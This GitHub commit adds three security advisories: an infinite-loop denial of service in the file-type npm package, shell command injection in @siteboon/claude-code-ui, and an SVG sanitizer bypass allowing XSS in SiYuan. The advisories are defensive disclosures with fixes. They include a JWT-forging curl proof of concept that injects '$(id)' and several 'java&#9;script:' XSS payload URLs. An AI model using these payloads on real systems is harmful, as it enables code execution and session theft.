Skip to content

Commit 2900bb7

Browse files
1 parent b6df971 commit 2900bb7

3 files changed

Lines changed: 193 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5v7r-6r5c-r473",
4+
"modified": "2026-03-10T23:57:09Z",
5+
"published": "2026-03-10T23:57:09Z",
6+
"aliases": [
7+
"CVE-2026-31808"
8+
],
9+
"summary": "file-type affected by infinite loop in ASF parser on malformed input with zero-size sub-header",
10+
"details": "### Impact\nA denial of service vulnerability exists in the ASF (WMV/WMA) file type detection parser. When parsing a crafted input where an ASF sub-header has a `size` field of zero, the parser enters an infinite loop. The `payload` value becomes negative (-24), causing `tokenizer.ignore(payload)` to move the read position backwards, so the same sub-header is read repeatedly forever.\n\nAny application that uses `file-type` to detect the type of untrusted/attacker-controlled input is affected. An attacker can stall the Node.js event loop with a 55-byte payload.\n\n### Patches\nFixed in version 21.3.1. Users should upgrade to >= 21.3.1.\n\n### Workarounds\nValidate or limit the size of input buffers before passing them to `file-type`, or run file type detection in a worker thread with a timeout.\n\n### References\n- Fix commit: 319abf871b50ba2fa221b4a7050059f1ae096f4f\n\n### Reporter\n\ncrnkovic@lokvica.com",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "file-type"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "13.0.0"
29+
},
30+
{
31+
"fixed": "21.3.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/sindresorhus/file-type/security/advisories/GHSA-5v7r-6r5c-r473"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31808"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/sindresorhus/file-type/commit/319abf871b50ba2fa221b4a7050059f1ae096f4f"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/sindresorhus/file-type"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-835"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-10T23:57:09Z",
63+
"nvd_published_at": "2026-03-10T21:16:50Z"
64+
}
65+
}
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7fv4-fmmc-86g2",
4+
"modified": "2026-03-10T23:57:23Z",
5+
"published": "2026-03-10T23:57:23Z",
6+
"aliases": [
7+
"CVE-2026-31861"
8+
],
9+
"summary": "@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes",
10+
"details": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```",
11+
"severity": [],
12+
"affected": [
13+
{
14+
"package": {
15+
"ecosystem": "npm",
16+
"name": "@siteboon/claude-code-ui"
17+
},
18+
"ranges": [
19+
{
20+
"type": "ECOSYSTEM",
21+
"events": [
22+
{
23+
"introduced": "0"
24+
},
25+
{
26+
"fixed": "1.24.0"
27+
}
28+
]
29+
}
30+
],
31+
"database_specific": {
32+
"last_known_affected_version_range": "<= 1.23.0"
33+
}
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/siteboon/claudecodeui"
48+
},
49+
{
50+
"type": "WEB",
51+
"url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-94"
57+
],
58+
"severity": "HIGH",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-03-10T23:57:23Z",
61+
"nvd_published_at": null
62+
}
63+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-pmc9-f5qr-2pcr",
4+
"modified": "2026-03-10T23:57:56Z",
5+
"published": "2026-03-10T23:57:56Z",
6+
"aliases": [
7+
"CVE-2026-31809"
8+
],
9+
"summary": "SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS",
10+
"details": "# SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS\n\n## Summary\n\nSiYuan's SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`&#9;`), newline (`&#10;`), or carriage return (`&#13;`) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS.\n\nThis is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `<animate>` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Specific check:** Line 271 — `strings.HasPrefix(val, \"javascript:\")`\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe sanitizer uses Go's `html.Parse` which decodes HTML entities in attribute values. When the input contains `java&#9;script:alert(1)`, the parser decodes `&#9;` to a literal tab character (U+0009). The sanitizer then checks:\n\n```go\nval := strings.TrimSpace(strings.ToLower(a.Val))\n// val is now \"java\\tscript:alert(1)\"\n\nif strings.HasPrefix(val, \"javascript:\") {\n continue // This check FAILS — tab breaks the prefix match\n}\n```\n\n`strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `\"java\\tscript:...\"` does not start with `\"javascript:\"`.\n\nHowever, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\\tscript:alert(1)` as `javascript:alert(1)`.\n\n## Proof of Concept\n\n### Vector 1: Tab character (`&#9;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"java&#9;script:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Vector 2: Newline character (`&#10;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"java&#10;script:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Vector 3: Carriage return (`&#13;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"java&#13;script:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Vector 4: Multiple whitespace characters\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"j&#9;a&#10;v&#13;a&#9;s&#10;c&#13;r&#9;i&#10;p&#13;t:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Processing trace\n\n1. **Input:** `<a href=\"java&#9;script:alert(document.domain)\">`\n2. **html.Parse:** Decodes entity → attribute value = `java\\tscript:alert(document.domain)`\n3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\\tscript:alert(document.domain)` (tab preserved in middle)\n4. **HasPrefix check:** `\"java\\tscript:...\"` does NOT start with `\"javascript:\"` → **passes through**\n5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special)\n6. **Browser URL parser:** Strips tab per WHATWG URL spec → `javascript:alert(document.domain)`\n7. **User clicks link → JavaScript executes**\n\n## Attack Scenario\n\nSame as CVE-2026-29183 / advisory #01:\n1. Attacker crafts a malicious `getDynamicIcon` URL\n2. Victim navigates to the URL (or is redirected)\n3. SVG renders with `Content-Type: image/svg+xml`\n4. Victim clicks the text link in the SVG\n5. JavaScript executes in SiYuan's origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin\n- Bypasses the fix for CVE-2026-29183\n- Independent of the `<animate>` element bypass (advisory #01) — different root cause\n\n## Suggested Fix\n\nReplace the simple `HasPrefix` check with whitespace-stripped comparison:\n\n```go\n// Strip ASCII tab, newline, CR before checking for javascript: prefix\ncleaned := strings.Map(func(r rune) rune {\n if r == '\\t' || r == '\\n' || r == '\\r' {\n return -1 // Remove character\n }\n return r\n}, val)\n\nif key == \"href\" || key == \"xlink:href\" || key == \"xlinkhref\" {\n if strings.HasPrefix(cleaned, \"javascript:\") {\n continue\n }\n if strings.HasPrefix(cleaned, \"data:\") {\n if strings.Contains(cleaned, \"text/html\") || strings.Contains(cleaned, \"image/svg+xml\") || strings.Contains(cleaned, \"application/xhtml+xml\") {\n continue\n }\n }\n}\n```\n\nThis should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20260310025236-297bd526708f"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31809"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/siyuan-note/siyuan"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.5.10"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-10T23:57:56Z",
63+
"nvd_published_at": "2026-03-10T21:16:50Z"
64+
}
65+
}

0 commit comments

Comments
 (0)